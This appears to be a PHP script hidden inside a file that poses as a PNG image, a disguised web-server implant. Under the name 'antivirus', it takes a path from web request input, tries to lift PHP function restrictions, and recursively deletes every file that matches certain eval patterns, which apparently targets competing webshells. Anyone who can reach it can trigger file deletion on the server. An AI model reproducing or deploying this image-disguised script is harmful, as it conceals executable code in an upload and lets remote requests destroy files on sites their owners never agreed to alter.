?
 PNG      %k25u25%fgd5n!<?php
header("Content-Type: text/html;charset=utf-8");
set_time_limit(0);
ini_set('max_execution_time', 0);
@ini_set('disable_functions', 'NONE');
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : $_SERVER['DOCUMENT_ROOT'].'/';
antivirus($path);
function antivirus($dir){
    $scandir = scandir($dir);
    foreach($scandir as $file){
        $path = $dir.'/'.$file;
        $path = str_replace('//', '/', $path);
        if($file == '.' || $file == '..') continue;
        if(@is_link($path)) continue;  
        if(@is_dir($path)){
            if(is_readable($path)) antivirus($path);
        }else{
            $del = 0;
            $y = file_get_contents($path);
            if(strstr($y, 'eval($') && strstr($y, '= ${ $')){
                $del = 1;
                echo $path."<br>";
            }
            if($del == 1){
                unlink($path);
            }
        }
    }
}
?>